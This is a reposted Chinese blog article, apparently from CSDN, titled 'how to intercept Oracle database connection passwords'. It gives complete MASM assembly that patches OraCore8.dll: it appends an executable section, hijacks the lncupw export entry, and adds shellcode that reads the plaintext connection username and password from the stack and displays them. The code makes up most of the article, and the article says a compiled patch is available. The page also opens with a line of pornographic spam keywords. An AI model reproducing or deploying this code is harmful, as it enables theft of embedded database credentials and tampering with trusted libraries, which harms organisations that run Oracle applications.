国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
如何截獲Oracle數(shù)據(jù)庫連接密碼
    Oracle 系統(tǒng)是應(yīng)用最廣泛的服務(wù)器/客戶端類型的數(shù)據(jù)庫系統(tǒng),其密碼驗證等安全措施也做得比較嚴格,但是通過本文所描述的方法,我們還是有機會從應(yīng)用程序中截獲數(shù)據(jù)庫連接的用戶名和密碼。
原理
    大部分的服務(wù)器/客戶端系統(tǒng)的結(jié)構(gòu)可以這樣描述:
    客戶端 <---(1)---> 系統(tǒng)TCP/IP模塊 <---(2)---> 網(wǎng)絡(luò) <----> 系統(tǒng)的TCP/IP模塊 <----> 服務(wù)端
    對于這些系統(tǒng),一般的安全問題出在由(2)所示的地方,比如說當(dāng)使用 POP3 協(xié)議收取郵件,或者用 Telnet 登錄到遠程主機的時候,其登錄密碼都是未經(jīng)加密的,只要在網(wǎng)絡(luò)上安裝一個嗅探器 (Sniffer) 來監(jiān)聽數(shù)據(jù)包,就可以很容易地截獲用戶名和密碼。
    但對于 Oracle 系統(tǒng)來說,用戶名和密碼在網(wǎng)絡(luò)上傳遞之前,是經(jīng)過加密的,而且加密的算法是不可逆的,即使使用嗅探器探聽到數(shù)據(jù)包,開始無法把數(shù)據(jù)庫的連接密碼恢復(fù)出來,Oracle 系統(tǒng)的結(jié)構(gòu)可以如下描述:
    客戶端應(yīng)用程序 <--(1)--> Oracle客戶端軟件 <---(2)---> 系統(tǒng)TCP/IP模塊 <---(3)---> 網(wǎng)絡(luò) <--> 系統(tǒng)的TCP/IP模塊 <---> Oracle數(shù)據(jù)庫
    對于這一類系統(tǒng),所有在(2)或者(3)處監(jiān)聽到的登錄數(shù)據(jù)包都是已經(jīng)經(jīng)過加密的,但是,考慮一下我們編寫 Oracle 數(shù)據(jù)庫應(yīng)用程序的時候,無論是通過 ODBC 還是 Pro C,或者其他的 BDE 環(huán)境等,都是將數(shù)據(jù)庫連接的用戶名和密碼用明文的方式傳遞給 Oracle 客戶端驅(qū)動程序的,所以在(1)位置的數(shù)據(jù)流肯定明文的,密碼是在 Oracle 客戶端軟件中被加密后才經(jīng)過(2)、(3)等步驟發(fā)送出去,如果在(1)的位置進行攔截,就可能攔截到密碼。
    考慮到步驟(1)發(fā)生在應(yīng)用程序到 Oracle 系統(tǒng)的調(diào)用中,也就是發(fā)生在 API 調(diào)用的層次,所以只要找到密碼加密模塊的入口,在對相應(yīng)的 API 進行 Hook,就能截獲到密碼了。
    有人可能存在一個疑問:使用 Sniffer 可以監(jiān)聽到網(wǎng)絡(luò)上其他計算機的連接數(shù)據(jù)包,而在 API 層次上進行攔截是針對本機的,但要是自己能夠在本機上連接,就表示已經(jīng)知道密碼了,再去截獲不是多此一舉嗎?
    非也!
    實際上大部分的 Oracle 應(yīng)用程序都包括一個用戶開發(fā)的客戶端,這個客戶端可能是用 C、PowerBuilder 和其他語言開發(fā)的,這些軟件提供一個界面提示用戶輸入用戶名和密碼登錄系統(tǒng),但是這個用戶名和密碼并不是數(shù)據(jù)庫的連接用戶名和密碼,而僅僅是一個類似于 users 表中的一條記錄而已,而程序內(nèi)部內(nèi)置的數(shù)據(jù)庫連接賬號才是我們的目標,一般來說,客戶端應(yīng)用程序是這樣工作的:
    1. 使用一個內(nèi)置的數(shù)據(jù)庫連接賬號連接到數(shù)據(jù)庫。
    2. 彈出一個對話框提示用戶輸入用戶名 xxx 和密碼 yyy
    3. 使用類似于 select * from users where username='xxx' and password='yyy' 一類的 SQL 語句查詢用戶是否有權(quán)登錄系統(tǒng)。
   
    我們的目標就是步驟1中的連接賬號,這個賬號存在于客戶端軟件中,雖然可能已經(jīng)被靜態(tài)加密(也就是說用16進制軟件去搜尋可執(zhí)行文件時并不能被找到),但它運行后需要連接數(shù)據(jù)庫的時候必然會被解密并用明文傳遞到 Oracle 客戶端軟件中。
方法
    好了,現(xiàn)在來看看具體的實現(xiàn)方法。
1. 相關(guān)的調(diào)用
    第一步當(dāng)然要知道在哪里下手,經(jīng)過了一番跟蹤以后(這里省去跟蹤的步驟 n 步,大家可以嘗試自己跟蹤一下),就可以發(fā)現(xiàn)用戶名和密碼是在 OraCore8.dll 模塊中的 lncupw 函數(shù)中被加密的,而且這個函數(shù)的調(diào)用方法如下:
    invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1
    函數(shù)的入口參數(shù)包括明文的數(shù)據(jù)庫連接用戶名和密碼,以及他們的長度,運行的結(jié)果是在第一個參數(shù)Output指定的緩沖區(qū)中返回加密后的數(shù)據(jù),以后這個加密后的數(shù)據(jù)會被發(fā)送到服務(wù)器端進行認證。
2. 具體的實現(xiàn)方案
    我們的方法就是在對 OraCore8.dll 進行補丁,在 dll 文件中附加一段代碼,然后修改 dll 的導(dǎo)出表中 lncupw 函數(shù)對應(yīng)的入口地址,將它指向到附加的代碼中,然后由這段代碼在堆棧中取出用戶名和密碼并顯示出來,完成這個步驟后再跳轉(zhuǎn)到原始的 lncupw 函數(shù)的入口地址去執(zhí)行原有的功能。
    這個方案涉及到兩個技術(shù)問題,第一是對 dll 文件的修改問題,這個問題可以歸結(jié)為在 PE 文件后添加可執(zhí)行代碼的方法問題,第二就是寫被附加到 dll 文件后的程序體的問題。
    對 dll 文件的修改代碼的片斷如下,在這以前,我們假定已經(jīng)做了其他這樣一些工作:
    ※ 文件名字符串放在 szFileName 指定的緩沖區(qū)中。
    ※ 已經(jīng)對文件進行校驗,找到了導(dǎo)出表中的 lncupw 項目,這個項目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 變量中。
    ※ 找出了 dll 文件中的 PE 文件頭位置,并拷貝 PE 文件頭到 lpPeHead 指定的位置中。
   
  invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
   FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
  .if eax == INVALID_HANDLE_VALUE
   invoke MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR
   jmp _Ret
  .endif
  mov @hFile,eax
;********************************************************************
; esi --> 原PeHead
; edx --> 最后一個節(jié)表,ebx --> 新加的節(jié)表
;********************************************************************
  mov esi,lpPeHead
  assume esi:ptr IMAGE_NT_HEADERS
  movzx eax,[esi].FileHeader.NumberOfSections
  dec eax
  mov ecx,sizeof IMAGE_SECTION_HEADER
  mul ecx
  mov edx,esi
  add edx,eax
  add edx,sizeof IMAGE_NT_HEADERS
  mov ebx,edx
  add ebx,sizeof IMAGE_SECTION_HEADER
  assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; 加入一個新的節(jié),并修正一些PE頭部的內(nèi)容
;********************************************************************
  inc [esi].FileHeader.NumberOfSections
  mov eax,[edx].PointerToRawData
  add eax,[edx].SizeOfRawData
  mov [ebx].PointerToRawData,eax
  invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment
  mov [ebx].SizeOfRawData,eax
  invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment
  add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
  add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
  invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
  add eax,[edx].VirtualAddress
  mov [ebx].VirtualAddress,eax
  mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
  mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
   or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
  invoke lstrcpy,addr [ebx].Name1,addr szMySection
;********************************************************************
; 寫文件
;********************************************************************
  invoke SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN
  invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\
   addr @dwTemp,NULL
  invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
  invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
   addr @dwTemp,NULL
  mov eax,[ebx].PointerToRawData
  add eax,[ebx].SizeOfRawData
  invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN
  invoke SetEndOfFile,@hFile
;********************************************************************
; 修正新加代碼中的 Jmp oldEntry 指令
;********************************************************************
  mov eax,[ebx].VirtualAddress
  add eax,(offset _dwOldEntry-offset APPEND_CODE+4)
  sub dwProcEntry,eax
  mov ecx,[ebx].PointerToRawData
  add ecx,(offset _dwOldEntry-offset APPEND_CODE)
  invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN
  invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 修正入口指針
;********************************************************************
  mov eax,[ebx].VirtualAddress
  add eax,(offset _NewEntry-offset APPEND_CODE)
  mov dwProcEntry,eax
  invoke SetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGIN
  invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL
;********************************************************************
; 關(guān)閉文件
;********************************************************************
  invoke CloseHandle,@hFile
_Ret:
;  修改完成

    這段代碼完成了3個步驟,首先是掃描PE文件頭中的節(jié)表,并在最后添加一個新的節(jié),以便把附加的代碼寫到這個節(jié)中,這個節(jié)的屬性被設(shè)置為可執(zhí)行、可讀、可寫,因為代碼運行需要的數(shù)據(jù)區(qū)也放在這里。然后程序修改附加代碼最后的 jmp 指令,將它指到原始的 lncupw 函數(shù)中。最后程序在 dll 的導(dǎo)出表中將 lncupw 函數(shù)的入口地址指向附加代碼中。
    下面是被附加到 dll 后的代碼,這段代碼被寫成可以自我定位的格式,代碼首先在內(nèi)存中找出 Kernel32.dll 的位置并從中找出 LoadLibrary 函數(shù)和 GetProcAddress 函數(shù)的地址,然后調(diào)用這兩個函數(shù)獲取其他一系列要用到的函數(shù)的入口地址:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 要被添加到 OraCore8.dll 文件后面的執(zhí)行代碼
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 一些函數(shù)的原形定義
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProtoGetProcAddress typedef proto :dword,:dword
_ProtoLoadLibrary typedef proto :dword
_ProtoMessageBox typedef proto :dword,:dword,:dword,:dword
_Protowsprintf  typedef proto c :dword,:VARARG
_ApiGetProcAddress typedef ptr _ProtoGetProcAddress
_ApiLoadLibrary  typedef ptr _ProtoLoadLibrary
_ApiMessageBox  typedef ptr _ProtoMessageBox
_Apiwsprintf  typedef ptr _Protowsprintf
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
APPEND_CODE equ this byte
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目標文件中的代碼從這里開始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
hDllKernel32 dd ?
hDllUser32 dd ?
_GetProcAddress _ApiGetProcAddress ?
_LoadLibrary _ApiLoadLibrary  ?
_MessageBox _ApiMessageBox  ?
_wsprintf _Apiwsprintf  ?
szLoadLibrary db 'LoadLibraryA',0
szGetProcAddress db 'GetProcAddress',0
szUser32 db 'user32',0
szMessageBox db 'MessageBoxA',0
szwsprintf db 'wsprintfA',0
szCaption db 'Oracle 8i 密碼截取補丁',0
szFormatPwd db '截獲 Oracle 連接:',0dh,0ah,0dh,0ah
  db '用戶名:%s',0dh,0ah
  db '密  碼:%s',0
szTmpBuffer db 512 dup (?)
szUserName db 64 dup (?)
szPassWord db 64 dup (?)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 錯誤 Handler
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext
  pushad
  mov esi,_lpExceptionRecord
  mov edi,_lpContext
  assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT
  mov eax,_lpSEH
  push [eax + 0ch]
  pop [edi].regEbp
  push [eax + 8]
  pop [edi].regEip
  push eax
  pop [edi].regEsp
  assume esi:nothing,edi:nothing
  popad
  mov eax,ExceptionContinueExecution
  ret
_SEHHandler endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 在內(nèi)存中掃描 Kernel32.dll 的基址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szKernel32 db 'KERNEL32'
_GetKernelBase proc _dwKernelRet
  local @dwReturn
  pushad
  mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
  call @F
  @@:
  pop ebx
  sub ebx,offset @B
;********************************************************************
; 創(chuàng)建用于錯誤處理的 SEH 結(jié)構(gòu)
;********************************************************************
  assume fs:nothing
  push ebp
  lea eax,[ebx + offset _PageError]
  push eax
  lea eax,[ebx + offset _SEHHandler]
  push eax
  push fs:[0]
  mov fs:[0],esp
;********************************************************************
; 查找 Kernel32.dll 的基地址
;********************************************************************
  mov edi,_dwKernelRet
  and edi,0ffff0000h
  .while TRUE
   .if word ptr [edi] == IMAGE_DOS_SIGNATURE
    mov esi,edi
    add esi,[esi+003ch]
    .if word ptr [esi] == IMAGE_NT_SIGNATURE
     assume esi:ptr IMAGE_NT_HEADERS
     mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
     add esi,edi
     assume esi:ptr IMAGE_EXPORT_DIRECTORY
     mov esi,[esi].nName
     add esi,edi
     mov ecx,sizeof szKernel32
     push edi
     lea edi,[ebx+szKernel32]
     cld
     repz cmpsb
     pop edi
     .if ZERO?
      mov @dwReturn,edi
      .break
     .endif
     assume esi:nothing
    .endif
   .endif
   _PageError:
   sub edi,010000h
   .break .if edi < 70000000h
  .endw
  pop fs:[0]
  add esp,0ch
  popad
  mov eax,@dwReturn
  ret
_GetKernelBase endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 從內(nèi)存中模塊的導(dǎo)出表中獲取某個 API 的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetApi  proc _hModule,_lpszApi
  local @dwReturn,@dwStringLength
  pushad
  mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
  call @F
  @@:
  pop ebx
  sub ebx,offset @B
;********************************************************************
; 創(chuàng)建用于錯誤處理的 SEH 結(jié)構(gòu)
;********************************************************************
  assume fs:nothing
  push ebp
  lea eax,[ebx + offset _Error]
  push eax
  lea eax,[ebx + offset _SEHHandler]
  push eax
  push fs:[0]
  mov fs:[0],esp
;********************************************************************
; 計算 API 字符串的長度(帶尾部的0)
;********************************************************************
  mov edi,_lpszApi
  mov ecx,-1
  xor al,al
  cld
  repnz scasb
  mov ecx,edi
  sub ecx,_lpszApi
  mov @dwStringLength,ecx
;********************************************************************
; 從 PE 文件頭的數(shù)據(jù)目錄獲取導(dǎo)出表地址
;********************************************************************
  mov esi,_hModule
  add esi,[esi + 3ch]
  assume esi:ptr IMAGE_NT_HEADERS
  mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
  add esi,_hModule
  assume esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名稱的導(dǎo)出函數(shù)名
;********************************************************************
  mov ebx,[esi].AddressOfNames
  add ebx,_hModule
  xor edx,edx
  .repeat
   push esi
   mov edi,[ebx]
   add edi,_hModule
   mov esi,_lpszApi
   mov ecx,@dwStringLength
   repz cmpsb
   .if ZERO?
    pop esi
    jmp @F
   .endif
   pop esi
   add ebx,4
   inc edx
  .until edx >= [esi].NumberOfNames
  jmp _Error
@@:
;********************************************************************
; API名稱索引 --> 序號索引 --> 地址索引
;********************************************************************
  sub ebx,[esi].AddressOfNames
  sub ebx,_hModule
  shr ebx,1
  add ebx,[esi].AddressOfNameOrdinals
  add ebx,_hModule
  movzx eax,word ptr [ebx]
  shl eax,2
  add eax,[esi].AddressOfFunctions
  add eax,_hModule
;********************************************************************
; 從地址表得到導(dǎo)出函數(shù)地址
;********************************************************************
  mov eax,[eax]
  add eax,_hModule
  mov @dwReturn,eax
_Error:
  pop fs:[0]
  add esp,0ch
  assume esi:nothing
  popad
  mov eax,@dwReturn
  ret
_GetApi  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 新的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_NewEntry:
;********************************************************************
; 重定位并獲取一些 API 的入口地址
;********************************************************************
  pushad
  call @F
  @@:
  pop ebx
  sub ebx,offset @B
;********************************************************************
  .if dword ptr [ebx+_MessageBox]
   jmp @F
  .endif
;********************************************************************
  invoke _GetKernelBase,7b000000h ;獲取Kernel32.dll基址
  or eax,eax
  jz _ToOldEntry
  mov [ebx+hDllKernel32],eax ;獲取GetProcAddress入口
  lea eax,[ebx+szGetProcAddress]
  invoke _GetApi,[ebx+hDllKernel32],eax
  or eax,eax
  jz _ToOldEntry
  mov [ebx+_GetProcAddress],eax
  lea eax,[ebx+szLoadLibrary] ;獲取LoadLibrary入口
  invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
  or eax,eax
  jz _ToOldEntry
  mov [ebx+_LoadLibrary],eax
  lea eax,[ebx+szUser32] ;獲取User32.dll基址
  invoke [ebx+_LoadLibrary],eax
  or eax,eax
  jz _ToOldEntry
  mov [ebx+hDllUser32],eax
  lea eax,[ebx+szMessageBox] ;獲取MessageBox入口
  invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
  mov [ebx+_MessageBox],eax
  or eax,eax
  jz _ToOldEntry
  lea eax,[ebx+szwsprintf] ;獲取MessageBox入口
  invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
  mov [ebx+_wsprintf],eax
  or eax,eax
  jz _ToOldEntry
;********************************************************************
; 程序功能開始
;********************************************************************
; lncupw 的調(diào)用方式是:
; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1
; 現(xiàn)在的堆棧內(nèi)容是:
;   ...
; esp+14*4 dwLenUserName
; esp+13*4 addr szUserName
; esp+12*4 dwLenPass
; esp+11*4 addr szPassword
; esp+10*4 1eh
; esp+9*4  addr Output
; esp+8*4  call's return address
; esp+到esp+8*4 pusha 推入堆棧的8個寄存器值
;
; 所以,從 esp+13*4 和 esp+11*4 取出的就是 Oracle 應(yīng)用程序
; 傳遞進來的用來連接數(shù)據(jù)庫的用戶名和密碼地址。
;********************************************************************
@@:
  mov esi,[esp+13*4]  ;username
  lea edi,[ebx+szUserName]
  mov ecx,[esp+14*4]
  cmp ecx,60
  jle @F
  mov ecx,60
  @@:
  cld
  rep movsb
  xor eax,eax
  stosb
  mov esi,[esp+11*4]  ;password
  lea edi,[ebx+szPassWord]
  mov ecx,[esp+12*4]
  cmp ecx,60
  jle @F
  mov ecx,60
  @@:
  rep movsb
  xor eax,eax
  stosb
  lea eax,[ebx+szUserName]
  lea ecx,[ebx+szPassWord]
  lea edx,[ebx+szFormatPwd]
  lea esi,[ebx+szTmpBuffer]
  invoke [ebx+_wsprintf],esi,edx,eax,ecx
  lea ecx,[ebx+szTmpBuffer]
  lea eax,[ebx+szCaption]
  invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION
;********************************************************************
; 執(zhí)行原來的文件
;********************************************************************
_ToOldEntry:
  popad
  db 0e9h ;0e9h是jmp xxxxxxxx的機器碼
_dwOldEntry:
  dd ? ;用來填入原來的 lncupw 函數(shù)的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte

對 OraCore8.dll 進行了這樣的補丁以后,凡是有應(yīng)用程序連接 Oracle 數(shù)據(jù)庫,附加代碼就可以截獲到連接所用的用戶名和密碼并通過一個 MessageBox 顯示出來了!
其他
1. Oracle 客戶端的版本問題
OraCore8.dll 僅存在于 Oracle 8.1.0 以上的版本中,Oracle 7.x 版本中并不存在這個 dll 文件,也沒有其他 dll 包含 lncupw 函數(shù),而 Oracle 8.0.x 版本中僅在服務(wù)器端存在 OraCore8.dll 文件。所以本程序僅僅適用于 Oracle 8.1.0 以上版本。
不過這又有什么關(guān)系呢!如果有需要跟蹤的客戶端軟件,那么這個軟件一般并不會要求特定的 Oracle 客戶端的版本,只要在自己機器上安裝一個 8.1.x 版本后再進行密碼截獲就是了,這就是軟件分層結(jié)構(gòu)帶來的好處!
2. 已經(jīng)編譯好的補丁軟件可以在作品發(fā)布中找到。
3. 可以參考的資料
由于時間關(guān)系,本文不可能把涉及的 PE 文件的相關(guān)結(jié)構(gòu)一一具體說明,如果需要這方面的資料,可以參考我寫的那本《Windows環(huán)境下32位匯編語言程序設(shè)計》(電子工業(yè)出版社出版)一書中的以下章節(jié):
   --> 17.1 節(jié):PE文件的結(jié)構(gòu)
   --> 17.3 節(jié):導(dǎo)出表
   --> 17.6.1 節(jié):動態(tài)獲取API入口地址
   --> 17.6.2 節(jié):在PE文件上添加執(zhí)行代碼
本文來自CSDN博客,轉(zhuǎn)載請標明出處:http://blog.csdn.net/ssihc0/archive/2009/04/06/4049477.aspx
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
Tiny語言編譯器匯編完全版
【成果6.1】軟件保護殼技術(shù)專題
Sentinel驅(qū)動模擬源碼
如何寫一個簡單的病毒程序
Unlocker 工作原理分析
PE頭的應(yīng)用
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服